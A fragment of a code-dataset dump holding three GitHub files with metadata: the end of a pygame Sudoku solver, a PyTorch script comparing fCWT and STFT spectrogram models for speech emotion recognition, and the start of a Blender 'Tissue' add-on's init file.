blank cell of the\n # sudoku, it is solved\n if index == len(self.blanks)-1:\n self.numbers[r][c] = (n,'g')\n if visualize:\n self.clock.tick(1)\n self.view.redrawWindow(self.numbers)\n return True\n\n # we have placed a number valid so far, go to next index in blanks\n # and try to place a number\n new_index = index + 1\n if self.autofillSudoku(new_index, visualize):\n self.numbers[r][c] = (n,'g')\n if visualize:\n self.clock.tick(15)\n if index == 0:\n self.view.redrawWindow(self.numbers, message=(\"Sudoku is solved, press r to create a new one!\", (20,255,20)))\n else:\n self.view.redrawWindow(self.numbers)\n\n return True\n\n # could not find a valid solution to the Sudoku given the currently\n # choosen number, remove it from rows, cols and sqaures and\n # possible numbers and try another one.\n else:\n self.rows[r].pop()\n self.cols[c].pop()\n self.squares[square_index].pop()\n possible_numbers.pop(i)\n # no possible numbers left, the Sudoku is not solvable\n return False\n\n\n\n \"\"\"\n Handles mouse click for choosing which cell in the sudoku to activate.\n An activated cell can be filled with a number.\n \"\"\"\n def clickedMouse(self, mouse_pos):\n (x,y) = mouse_pos\n padding = self.view.padding\n\n # return if click is outside of sudoku\n if x < padding or x > 9*self.cell_width + padding \\\n or y < padding or y > 9*self.cell_width + padding:\n return\n\n # get the right cell in the sudoku\n r = (y - padding) // self.cell_width\n c = (x - padding) // self.cell_width\n\n # if fixed number (black color) in cell do nothing\n if self.numbers[r][c][0] > 0 and self.numbers[r][c][1] == 'b':\n return\n\n # if we click an already active cell, unactivate it\n if (r,c) == self.active_cell:\n self.view.redrawWindow(self.numbers)\n else:\n # else mark the clicked cell as active\n self.active_cell = (r,c)\n self.view.redrawWindow(self.numbers, (r,c))\n\n \"\"\"\n Handles inserting numbers manually into the sudoku\n \"\"\"\n def pressedNum (self,num):\n if self.active_cell is not None:\n (r,c) = self.active_cell\n square_index = (r // 3) * 3 + (c // 3)\n prev_num = self.numbers[r][c][0]\n\n if num > 0:\n self.rows[r].append(num)\n self.cols[c].append(num)\n self.squares[square_index].append(num)\n\n if prev_num == 0:\n self.blanks.remove((r,c))\n\n if prev_num > 0:\n self.rows[r].remove(prev_num)\n self.cols[c].remove(prev_num)\n self.squares[square_index].remove(prev_num)\n\n if num == 0:\n bisect.insort(self.blanks, (r,c))\n\n self.numbers[r][c] = (num,'r')\n self.active_cell = None\n\n self.view.redrawWindow(self.numbers)\n\n\n \"\"\"\n Checks if the sudoku is solvable given the current numbers. If the sudoku is\n still solvable all red numbers (numbers which have been filled in by the user)\n are turned green.\n \"\"\"\n def checkIfSolvable (self):\n\n self.active_cell = None\n\n message = (\"Sudoku is not solvable\", (255,0,0))\n\n if self.containsDuplicates():\n self.view.redrawWindow(self.numbers, message = message)\n return\n\n # if no duplicates and no blanks left, sudoku is solved\n if len(self.blanks) == 0:\n message = (\"Sudoku is solved, press r to create a new one!\", (0,255,0))\n for r in range(9):\n for c in range(9):\n (num,col) = self.numbers[r][c]\n if col == 'r':\n self.numbers[r][c] = (num,'g')\n self.view.redrawWindow(self.numbers, message = message)\n return\n\n temp_numbers = [row[:] for row in self.numbers]\n temp_rows = [row[:] for row in self.rows]\n temp_cols = [row[:] for row in self.cols]\n temp_squares = [row[:] for row in self.squares]\n\n if self.autofillSudoku(0,visualize = False):\n message = (\"Sudoku is solvable\", (0,255,0))\n self.numbers = temp_numbers\n for r in range(9):\n for c in range(9):\n (num,col) = self.numbers[r][c]\n if col == 'r':\n self.numbers[r][c] = (num,'g')\n\n else:\n self.numbers = temp_numbers\n\n\n self.rows = temp_rows\n self.cols = temp_cols\n self.squares = temp_squares\n self.view.redrawWindow(self.numbers, message = message)\n\n\n \"\"\"\n Returns true if a duplicate number exists in a row, column or square\n of the sudoku. If no such duplicate numbers exist, returns false.\n \"\"\"\n def containsDuplicates (self):\n for row in self.rows:\n if len(row) > len(set(row)):\n return True\n\n for col in self.cols:\n if len(col) > len(set(col)):\n return True\n\n for square in self.squares:\n if len(square) > len(set(square)):\n return True\n\n return False\n", "repo_name": "karlle/sudoku", "sub_path": "sudoku_model.py", "file_name": "sudoku_model.py", "file_ext": "py", "file_size_in_byte": 8617, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sudoku_view.View", "line_number": 10, "usage_type": "call"}, {"api_name": "pygame.time.Clock", "line_number": 13, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 13, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 45, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 46, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 80, "usage_type": "call"}, {"api_name": "bisect.insort", "line_number": 180, "usage_type": "call"}]} {"seq_id": "13557585774", "text": "import numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.metrics import accuracy_score, confusion_matrix\nimport pickle\nimport os\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport matplotlib.pyplot as plt\n\nfrom fine_tune import generate_dcnn_input, create_dataloader, create_model, emotions_to_label, train_model\nimport create_images\n\n\ndef train_model_fcwt_stft(X_train_fcwt, y_train_fcwt, X_val_fcwt,\n y_val_fcwt, X_train_stft, y_train_stft, X_val_stft,\n y_val_stft,\n le, batch_size, learning_rate, momentum, n_epochs, save):\n torch.manual_seed(0)\n # create dataloaders\n dataloader_train_fcwt = create_dataloader(x=X_train_fcwt, y=y_train_fcwt, mode=\"train\", save=False,\n path=\"dataloader_train16_shift\", batch_size=batch_size)\n dataloader_val_fcwt = create_dataloader(x=X_val_fcwt, y=y_val_fcwt, mode=\"val\", save=False,\n path=\"dataloader_val16_shift\", batch_size=batch_size)\n dataloaders_fcwt = {\"train\": dataloader_train_fcwt, \"val\": dataloader_val_fcwt}\n dataloader_train_stft = create_dataloader(x=X_train_stft, y=y_train_stft, mode=\"train\", save=False,\n path=\"dataloader_train16_shift\", batch_size=batch_size)\n dataloader_val_stft = create_dataloader(x=X_val_stft, y=y_val_stft, mode=\"val\", save=False,\n path=\"dataloader_val16_shift\", batch_size=batch_size)\n dataloaders_stft = {\"train\": dataloader_train_stft, \"val\": dataloader_val_stft}\n\n # create models\n model_fcwt = create_model(model_name='alexnet', n_classes=len(le.classes_), pretrained=True)\n model_stft = create_model(model_name='alexnet', n_classes=len(le.classes_), pretrained=True)\n criterion = nn.CrossEntropyLoss()\n optimizer_fcwt = optim.SGD(model_fcwt.parameters(), lr=learning_rate, momentum=momentum)\n optimizer_stft = optim.SGD(model_stft.parameters(), lr=learning_rate, momentum=momentum)\n\n # train models (uncomment bottom line if you also want to train STFT model. Usually not needed as paramters for STFT\n # are set and thus only needs to be trained once.\n print(\"n_epochs={}, batch_size={},lr={},momentum={}\".format(n_epochs, batch_size, learning_rate, momentum))\n print(\"Starting fcwt model training \\n\", '-' * 20)\n best_model_fcwt, fcwt_history, time_elapsed = train_model(model_fcwt, dataloaders_fcwt, criterion, optimizer_fcwt,\n n_epochs)\n print(\"Starting stft model training \\n\", '-' * 20)\n best_model_stft, stft_history, time_elapsed = train_model(model_stft, dataloaders_stft, criterion, optimizer_stft,\n n_epochs)\n\n # Save models if you want\n if save:\n save_path = \"fcwt_model\"\n torch.save(best_model_fcwt.state_dict(), save_path)\n np.save(arr=torch.tensor(fcwt_history).detach().cpu().numpy(), file=\"%s_history\" % save_path)\n print(\"SAVED as %s and %s_history\" % (save_path, save_path))\n\n save_path = \"stft_model\"\n torch.save(best_model_stft.state_dict(), save_path)\n np.save(arr=torch.tensor(stft_history).detach().cpu().numpy(), file=\"%s_history\" % save_path)\n print(\"SAVED as %s and %s_history\" % (save_path, save_path))\n\n # Return models (add best_model_stft after best_model_fcwt if you want to return this as well)\n return best_model_fcwt, best_model_stft\n\n\ndef get_split(cross_val_nr, emo):\n if emo:\n speaker_index = [[0, 48], [49, 106], [107, 149], [150, 187], [188, 242], [243, 277], [278, 338], [339, 407],\n [408, 463], [464, 534]]\n images = np.load(\"EMO-DB_Audio&Labels/emodb_audio.npy\", allow_pickle=True)\n labels = np.load(\"EMO-DB_Audio&Labels/emodb_labels.npy\", allow_pickle=True)\n else:\n speaker_index = [[0, 149], [150, 299], [300, 449], [450, 596], [597, 746], [747, 896], [897, 1046],\n [1047, 1196], [1197, 1286]]\n images = np.load(\"enterface05_audio_wo-subject6.pkl\", allow_pickle=True)\n labels = np.load(\"ENTERFACE_MODELS/enterface05_label.npy\")\n le = LabelEncoder()\n labels = le.fit_transform(labels)\n output = open('label_encoder.pkl', 'wb')\n pickle.dump(le, output)\n output.close()\n if cross_val_nr < len(speaker_index) - 1:\n index_start_test = speaker_index[cross_val_nr][0]\n index_end_test = speaker_index[cross_val_nr][1]\n index_start_val = speaker_index[cross_val_nr + 1][0]\n index_end_val = speaker_index[cross_val_nr + 1][1]\n index_list = list(range(index_start_test, (index_end_val + 1)))\n\n X_test = images[index_start_test:(index_end_test + 1)]\n y_test = labels[index_start_test:(index_end_test + 1)]\n X_val = images[index_start_val:(index_end_val + 1)]\n y_val = labels[index_start_val:(index_end_val + 1)]\n\n X_train = np.delete(images, index_list, axis=0)\n y_train = np.delete(labels, index_list, axis=0)\n else:\n index_start_test = speaker_index[cross_val_nr][0]\n index_end_test = speaker_index[cross_val_nr][1]\n index_start_val = speaker_index[0][0]\n index_end_val = speaker_index[0][1]\n index_list_test = list(range(index_start_test, (index_end_test + 1)))\n index_list_val = list(range(index_start_val, (index_end_val + 1)))\n index_list = index_list_test + index_list_val\n\n X_test = images[index_start_test:(index_end_test + 1)]\n y_test = labels[index_start_test:(index_end_test + 1)]\n X_val = images[index_start_val:(index_end_val + 1)]\n y_val = labels[index_start_val:(index_end_val + 1)]\n X_train = np.delete(images, index_list, axis=0)\n y_train = np.delete(labels, index_list, axis=0)\n return X_train, y_train, X_test, y_test, X_val, y_val, le\n\n\ndef start_training_pipeline(X_train_fcwt, y_train_fcwt, X_test_fcwt, y_test_fcwt, X_val_fcwt, y_val_fcwt,\n X_train_stft, y_train_stft, X_test_stft, y_test_stft, X_val_stft, y_val_stft,\n le, mor_sig, gn_db, rcs, gni, fs, f0, f1, fn, emo, save=False):\n # Train models\n model_fcwt, model_stft = train_model_fcwt_stft(X_train_fcwt, y_train_fcwt, X_val_fcwt, y_val_fcwt,\n X_train_stft, y_train_stft, X_val_stft, y_val_stft,\n le, batch_size=16, learning_rate=0.001, momentum=0.9, n_epochs=60,\n save=False)\n\n # load best model state into evaluation model (add model_stft after model_fcwt if you want to evaluate it\n m_fcwt = create_model('alexnet', len(le.classes_), pretrained=True)\n m_fcwt.load_state_dict(model_fcwt.state_dict())\n m_fcwt.eval()\n\n # uncomment below if you want to evaluate fcwt model against stft model\n m_stft = create_model('alexnet', len(le.classes_), pretrained=True)\n m_stft.load_state_dict(model_stft.state_dict())\n m_stft.eval()\n\n # Convert test set into correct alexnet input\n xtest_fcwt = generate_dcnn_input(X_test_fcwt, mode='test')\n xtest_stft = generate_dcnn_input(X_test_stft, mode='test')\n\n # Make predictions on test set using models\n y_pred_fcwt = m_fcwt(xtest_fcwt)\n y_pred_stft = m_stft(xtest_stft)\n\n # Given that model outputs 'confidence score' for each output category, determine highest score in prediction array\n # and convert to prediction\n pred_fcwt = []\n pred_stft = []\n for i in range(len(y_pred_stft)):\n pred_fcwt.append(torch.argmax(y_pred_fcwt[i]).numpy())\n pred_stft.append(torch.argmax(y_pred_stft[i]).numpy())\n\n # Determine accuracy of model on test set\n acc_fcwt = accuracy_score(y_test_fcwt, pred_fcwt)\n acc_stft = accuracy_score(y_test_stft, pred_stft)\n cm_fcwt = confusion_matrix(y_test_fcwt, pred_fcwt)\n cm_stft = confusion_matrix(y_test_stft, pred_stft)\n print(\"fcwt model acc: %s\" % acc_fcwt)\n print(\"stft model acc: %s\" % acc_stft)\n\n if save:\n #Save fcwt model in sigma_range_test_emodb folder\n save_path_fcwt = 'EMODB_MODELS\\fCWT_RCS%s_SIG%s_GNDB0_acc%s' % (rcs, mor_sig, acc_fcwt)\n save_path_stft = 'EMODB_MODELS\\STFT_RCS%s_SIG%s_GNDB0_acc%s' % (rcs, mor_sig, acc_fcwt)\n np.save(arr=y_pred_fcwt, file='EMODB_MODELS\\fCWT_RCS%s_SIG%s_GNDB0_acc%s_predictions')\n np.save(arr=test_labels, file='EMODB_MODELS\\fCWT_RCS%s_SIG%s_GNDB0_acc%s_test_labels')\n np.save(arr=y_pred_stft, file='EMODB_MODELS\\stft_RCS%s_SIG%s_GNDB0_acc%s_predictions')\n np.save(arr=test_labels, file='EMODB_MODELS\\stft_RCS%s_SIG%s_GNDB0_acc%s_test_labels')\n torch.save(model_fcwt.state_dict(), save_path_fcwt)\n torch.save(model_stft.state_dict(), save_path_stft)\n\n return m_fcwt, acc_fcwt, cm_fcwt, m_fcwt, acc_stft, cm_stft\n\n\n############## Full training pipeline below #############################\n# parameters\nmor_sig = 0\ngn_db = []\nrcs = 0\np = 0\ngni = 0\nsigma_range = np.linspace(1, 100, 50)\n\n\ndef sigma_range_test(sigma_range, fs, f0, f1, fn, emo, save=True):\n if emo:\n classes = 7\n nr_of_groups = 10\n audio_images = np.load(\"EMO-DB_Audio&Labels/emodb_audio.npy\", allow_pickle=True)\n audio_labels = np.load(\"EMO-DB_Audio&Labels/emodb_labels.npy\", allow_pickle=True)\n else:\n classes = 6\n nr_of_groups = 9\n audio_images = np.load(\"enterface05_audio_wo-subject6.pkl\", allow_pickle=True)\n audio_labels = np.load(\"ENTERFACE_MODELS/enterface05_label.npy\", allow_pickle=True)\n best_sigma = 0\n best_acc_sigma = 0\n sigma_accuracies = []\n best_sigma_model = create_model('alexnet', classes, pretrained=True)\n for sigma in sigma_range:\n cv_best_acc = 0\n cv_all_acc = []\n best_cv_model = create_model('alexnet', classes, pretrained=True)\n print(\"Generating all images for sigma: %s\" % sigma)\n fcwt_images, stft_images, labels = create_images.generate_fcwt_stft_images(audio_images, audio_labels,\n out_size=227, fs=fs, f0=f0, f1=f1,\n fn=fn,\n mor_sig=sigma, gn_db=gn_db, rcs=rcs,\n gni=gni, emo=emo,\n save=False, to_int=False)\n # Cross validation of one sigma\n for cross_val_nr in range(nr_of_groups):\n print(\"Testing sigma %s, crossval %s/10\" % (sigma, cross_val_nr + 1))\n X_train_fcwt, y_train_fcwt, X_test_fcwt, y_test_fcwt, X_val_fcwt, y_val_fcwt, le = get_split(fcwt_images,\n labels,\n cross_val_nr,\n emo)\n X_train_stft, y_train_stft, X_test_stft, y_test_stft, X_val_stft, y_val_stft, le = get_split(stft_images,\n labels,\n cross_val_nr,\n emo)\n cv_model, cv_one_acc = start_training_pipeline(X_train_fcwt, y_train_fcwt, X_test_fcwt, y_test_fcwt,\n X_val_fcwt, y_val_fcwt,\n X_train_stft, y_train_stft, X_test_stft, y_test_stft,\n X_val_stft, y_val_stft,\n le, sigma, [], 0, 0, fs, f0, f1, fn, emo)\n print(\"Accuracy of this cv: %s\" % cv_one_acc)\n cv_all_acc.append(cv_one_acc)\n print(cv_all_acc)\n print(\"Current best CV acc: %s\" % cv_best_acc)\n if cv_one_acc > cv_best_acc:\n print(\"Current cv acc: %s is better than best cv acc: %s\" % (cv_one_acc, cv_best_acc))\n best_cv_model.load_state_dict(cv_model.state_dict())\n cv_best_acc = cv_one_acc\n print(\"New best CV acc: %s \" % (cv_best_acc))\n average_acc_sigma = sum(cv_all_acc) / len(cv_all_acc)\n print(\"Done with sigma %s, average accuracy is: %s\" % (sigma, average_acc_sigma))\n sigma_accuracies.append(average_acc_sigma)\n print(sigma_accuracies)\n print(\"Current best sigma accuracy: %s\" % best_acc_sigma)\n print(\"Current sigma accuracy is: %s\" % average_acc_sigma)\n if average_acc_sigma > best_acc_sigma:\n print(\"Current sigma acc: %s is better than best sigma acc: %s\" % (average_acc_sigma, best_acc_sigma))\n best_sigma_model.load_state_dict(best_cv_model.state_dict())\n best_sigma = sigma\n best_acc_sigma = average_acc_sigma\n if emo:\n np.save(arr=sigma_accuracies, file='EMODB_MODELS\\sigma_range_test\\sigma_accuries')\n if save:\n save_path_best_sigma_model = 'EMODB_MODELS\\sigma_range_test\\sigma_best_model_sig%s_acc%s' % (\n best_sigma, best_acc_sigma)\n torch.save(best_sigma_model.state_dict(), save_path_best_sigma_model)\n else:\n np.save(arr=sigma_accuracies, file='ENTERFACE_MODELS\\sigma_range_test\\sigma_accuries')\n if save:\n save_path_best_sigma_model = 'ENTERFACE_MODELS\\sigma_range_test\\sigma_best_model_sig%s_acc%s' % (\n best_sigma, best_acc_sigma)\n torch.save(best_sigma_model.state_dict(), save_path_best_sigma_model)\n return best_sigma_model, best_sigma\n\n\ndef cv_da_models(emo, rcs, sigma, gn_db, gni, multiple_sigma):\n if emo:\n classes = 7\n nr_of_groups = 10\n fs = 16000\n f1 = 7982\n else:\n classes = 6\n nr_of_groups = 9\n fs = 44100\n f1 = 9785\n cv_best_acc_fcwt = 0\n cv_all_acc_fcwt = []\n cv_all_cm_fcwt = []\n best_cv_model_fcwt = create_model('alexnet', classes, pretrained=True)\n cv_best_acc_stft = 0\n cv_all_acc_stft = []\n cv_all_cm_stft = []\n best_cv_model_stft = create_model('alexnet', classes, pretrained=True)\n for cross_val_nr in range(nr_of_groups):\n print(\"Testing sigma %s, crossval %s/10\" % (sigma, cross_val_nr + 1))\n X_train, y_train, X_test, y_test, X_val, y_val, le = get_split(cross_val_nr, emo)\n fcwt_train_images, stft_train_images, train_labels = create_images.generate_fcwt_stft_images(X_train, y_train,\n out_size=227,\n fs=fs, f0=1, f1=f1,\n fn=227,\n mor_sig=sigma,\n gn_db=gn_db,\n rcs=rcs, gni=0,\n emo=emo,\n multiple_sigma=multiple_sigma,\n save=False,\n to_int=False)\n fcwt_train_images, stft_test_images, test_labels = create_images.generate_fcwt_stft_images(X_test, y_test,\n out_size=227,\n fs=fs, f0=1, f1=f1,\n fn=227,\n mor_sig=sigma,\n gn_db=[], rcs=0,\n gni=0,\n emo=emo,\n multiple_sigma=[],\n save=False,\n to_int=False)\n fcwt_train_images, stft_val_images, val_labels = create_images.generate_fcwt_stft_images(X_val, y_val,\n out_size=227,\n fs=fs, f0=1, f1=f1,\n fn=227,\n mor_sig=sigma, gn_db=[],\n rcs=0, gni=0,\n emo=emo,\n multiple_sigma=[],\n save=False, to_int=False)\n\n cv_model_fcwt, cv_one_acc_fcwt, cv_one_cm_fcwt, cv_model_stft, cv_one_acc_stft, cv_one_cm_stft = start_training_pipeline(\n stft_train_images, train_labels, stft_test_images, test_labels, stft_val_images, val_labels,\n le, sigma, [], 5, 0, 44100, 1, 9785, 227, emo)\n print(\"Accuracy of this fcwt cv: %s\" % cv_one_acc_fcwt)\n cv_all_acc_fcwt.append(cv_one_acc_fcwt)\n cv_all_cm_fcwt.append(cv_one_cm_fcwt)\n print(cv_all_cm_fcwt)\n print(cv_all_acc_fcwt)\n print(\"Current best CV fcwt acc: %s\" % cv_best_acc_fcwt)\n if cv_one_acc_fcwt > cv_best_acc_fcwt:\n print(\"Current fcwt cv acc: %s is better than best cv acc: %s\" % (cv_one_acc_fcwt, cv_best_acc_fcwt))\n best_cv_model_fcwt.load_state_dict(cv_model_fcwt.state_dict())\n cv_best_acc_fcwt = cv_one_acc_fcwt\n print(\"New best fcwt CV acc: %s \" % (cv_best_acc_fcwt))\n\n print(\"Accuracy of this stft cv: %s\" % cv_one_acc_stft)\n cv_all_acc_stft.append(cv_one_acc_stft)\n cv_all_cm_stft.append(cv_one_cm_stft)\n print(cv_all_acc_stft)\n print(cv_all_cm_stft)\n print(\"Current best CV stft acc: %s\" % cv_best_acc_stft)\n if cv_one_acc_stft > cv_best_acc_stft:\n print(\"Current stft cv acc: %s is better than best cv acc: %s\" % (cv_one_acc_stft, cv_best_acc_stft))\n best_cv_model_stft.load_state_dict(cv_model_stft.state_dict())\n cv_best_acc_stft = cv_one_acc_stft\n print(\"New best stft CV acc: %s \" % (cv_best_acc_stft))\n\n average_acc_sigma_fcwt = sum(cv_all_acc_fcwt) / len(cv_all_acc_fcwt)\n average_acc_sigma_stft = sum(cv_all_acc_stft) / len(cv_all_acc_stft)\n\n if emo:\n np.save(arr=cv_all_acc_fcwt, file=\"EMODB_MODELS\\EMO_FCWT_CV_ACCS_RCS%s_GNDB%s\" % (rcs, gni))\n np.save(arr=cv_all_cm_fcwt, file=\"EMODB_MODELS\\EMO_FCWT_CV_CMS_RCS%s_GNDB%s\" % (rcs, gni))\n torch.save(best_cv_model_fcwt.state_dict(),\n \"EMODB_MODELS\\EMO_FCWT_MODEL_RCS%s_GNDB%s_acc%s\" % (rcs, gni, average_acc_sigma_fcwt))\n\n np.save(arr=cv_all_acc_stft, file=\"EMODB_MODELS\\EMO_STFT_CV_ACCS_RCS%s_GNDB%s\" % (rcs, gni))\n np.save(arr=cv_all_cm_stft, file=\"EMODB_MODELS\\EMO_STFT_CV_CMS_RCS%s_GNDB%s\" % (rcs, gni))\n torch.save(best_cv_model_stft.state_dict(),\n \"EMODB_MODELS\\EMO_stft_MODEL_RCS%s_GNDB%s_acc%s\" % (rcs, gni, average_acc_sigma_stft))\n else:\n np.save(arr=cv_all_acc_fcwt, file=\"ENTERFACE_MODELS\\ENT_FCWT_CV_ACCS_RCS%s_GNDB%s\" % (rcs, gni))\n np.save(arr=cv_all_cm_fcwt, file=\"ENTERFACE_MODELS\\ENT_FCWT_CV_CMS_RCS%s_GNDB%s\" % (rcs, gni))\n torch.save(best_cv_model_fcwt.state_dict(),\n \"ENTERFACE_MODELS\\ENT_FCWT_MODEL_RCS%s_GNDB%s_acc%s\" % (rcs, gni, average_acc_sigma_fcwt))\n\n np.save(arr=cv_all_acc_stft, file=\"ENTERFACE_MODELS\\ENT_STFT_CV_ACCS_RCS%s_GNDB%s\" % (rcs, gni))\n np.save(arr=cv_all_cm_stft, file=\"ENTERFACE_MODELS\\ENT_STFT_CV_CMS_RCS%s_GNDB%s\" % (rcs, gni))\n torch.save(best_cv_model_stft.state_dict(),\n \"ENTERFACE_MODELS\\ENT_stft_MODEL_RCS%s_GNDB%s_acc%s\" % (rcs, gni, average_acc_sigma_stft))\n\n\n\ncv_da_models(True, rcs=5, sigma=0, gn_db=[], gni='NO_STFT_BASELINE', multiple_sigma=[])", "repo_name": "Mathijslan/PR-DLP-BvZ-ML", "sub_path": "train_model.py", "file_name": "train_model.py", "file_ext": "py", "file_size_in_byte": 21867, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "torch.manual_seed", "line_number": 21, "usage_type": "call"}, {"api_name": "fine_tune.create_dataloader", "line_number": 23, "usage_type": "call"}, {"api_name": "fine_tune.create_dataloader", "line_number": 25, "usage_type": "call"}, {"api_name": "fine_tune.create_dataloader", "line_number": 28, "usage_type": "call"}, {"api_name": "fine_tune.create_dataloader", "line_number": 30, "usage_type": "call"}, {"api_name": "fine_tune.create_model", "line_number": 35, "usage_type": "call"}, {"api_name": "fine_tune.create_model", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 37, "usage_type": "name"}, {"api_name": "torch.optim.SGD", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 38, "usage_type": "name"}, {"api_name": "torch.optim.SGD", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 39, "usage_type": "name"}, {"api_name": "fine_tune.train_model", "line_number": 45, "usage_type": "call"}, {"api_name": "fine_tune.train_model", "line_number": 48, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 55, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 55, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 60, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 77, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.LabelEncoder", "line_number": 78, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.delete", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.delete", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.delete", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.delete", "line_number": 111, "usage_type": "call"}, {"api_name": "fine_tune.create_model", "line_number": 125, "usage_type": "call"}, {"api_name": "fine_tune.create_model", "line_number": 130, "usage_type": "call"}, {"api_name": "fine_tune.generate_dcnn_input", "line_number": 135, "usage_type": "call"}, {"api_name": "fine_tune.generate_dcnn_input", "line_number": 136, "usage_type": "call"}, {"api_name": "torch.argmax", "line_number": 147, "usage_type": "call"}, {"api_name": "torch.argmax", "line_number": 148, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 151, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 152, "usage_type": "call"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 153, "usage_type": "call"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 154, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 162, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 163, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 164, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 165, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 166, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 167, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 179, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 186, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 187, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 191, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 192, "usage_type": "call"}, {"api_name": "fine_tune.create_model", "line_number": 196, "usage_type": "call"}, {"api_name": "fine_tune.create_model", "line_number": 200, "usage_type": "call"}, {"api_name": "create_images.generate_fcwt_stft_images", "line_number": 202, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 245, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 249, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 251, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 255, "usage_type": "call"}, {"api_name": "fine_tune.create_model", "line_number": 273, "usage_type": "call"}, {"api_name": "fine_tune.create_model", "line_number": 277, "usage_type": "call"}, {"api_name": "create_images.generate_fcwt_stft_images", "line_number": 281, "usage_type": "call"}, {"api_name": "create_images.generate_fcwt_stft_images", "line_number": 292, "usage_type": "call"}, {"api_name": "create_images.generate_fcwt_stft_images", "line_number": 303, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 344, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 345, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 346, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 349, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 350, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 351, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 354, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 355, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 356, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 359, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 360, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 361, "usage_type": "call"}]} {"seq_id": "70653279264", "text": "# --------------------------------- TISSUE ----------------------------------#\n#-------------------------------- version 0.2b ------------------------------#\n# #\n# Creates duplicates of selected mesh to active morphing the shape according #\n# to target faces. #\n# #\n# Alessandro Zomparelli #\n# (2015) #\n# #\n# http://www.co-de-it.com/ #\n# http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Mesh/Tissue #\n# #\n# Creative Commons #\n# CC BY-SA 3.0 #\n# http://creativecommons.org/licenses/by-sa/3.0/ #\n\n\n\nif \"bpy\" in locals():\n import importlib\n importlib.reload(tessellate_numpy)\n importlib.reload(colors_groups_exchanger)\n importlib.reload(dual_mesh)\n\nelse:\n from . import tessellate_numpy\n from . import colors_groups_exchanger\n from . import dual_mesh\n\nimport bpy\nfrom mathutils import Vector\n#bpy.types.Object.vertexgroup = bpy.props.StringProperty()\n#bpy.types.Panel.vertexgroup = bpy.props.StringProperty()\n\nbl_info = {\n\t\"name\": \"Tissue\",\n\t\"author\": \"Alessandro Zomparelli (Co-de-iT)\",\n\t\"version\": (0, 2, 3),\n\t\"blender\": (2, 7, 5),\n\t\"location\": \"\",\n\t\"description\": \"Tools for Computational Design\",\n\t\"warning\": \"\",\n\t\"wiki_url\": \"http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Mesh/Tissue\",\n\t\"tracker_url\": \"https://plus.google.com/u/0/+AlessandroZomparelli/\",\n\t\"category\": \"Mesh\"}\n\ndef register():\n bpy.utils.register_module(__name__)\n #tessellate.register()\n #bpy.types.Object.tissue_tessellate = bpy.props.PointerProperty(tessellate_numpy.tissue_tessellate_props)\n #bpy.types.Panel.vertexgroup = bpy.props.StringProperty()\n bpy.types.Object.tissue_tessellate = bpy.props.PointerProperty(type=tessellate_numpy.tissue_tessellate_prop)\n\n\ndef unregister():\n #bpy.utils.register_module(__name__)\n tessellate_numpy.unregister()\n colors_groups_exchanger.unregister()\n\nif __name__ == \"__main__\":\n register()\n", "repo_name": "bobtherobot/BetterBlender", "sub_path": 